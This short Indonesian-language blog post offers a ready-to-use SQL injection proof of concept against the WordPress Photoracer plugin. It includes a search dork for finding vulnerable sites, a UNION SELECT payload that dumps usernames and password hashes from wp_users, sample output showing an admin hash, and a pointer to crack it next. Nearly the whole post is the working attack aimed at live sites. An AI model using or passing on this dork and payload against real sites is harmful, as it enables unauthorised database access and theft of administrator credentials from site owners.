kali ini saya ingin berbagi poc wp
dari pada show off gw kasih deh POC nya saya bukan menyinggung anda tapi di sini tempat belajar bersama jadi saling berbagi ok
dork : inurl:”wp-content/plugins/photoracer/viewimg.php?id=”
exploid : /wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass),7,8,9+from+wp_users–
ini hampir sama kayak joomla gan jadi gini contoh target ya
contoh : click here
sekarang kita kasih exploidnya kayak di atas tadi nanti jadinya begini
contoh : click here
nah nanti akan ada keluar gini
admin:$P$Bx19x07e84PAWWkN7s1O8/qoiJk3F51
sekarang langkah selanjutnya tinggal di has aja passwordnya
Tidak ada komentar:
Posting Komentar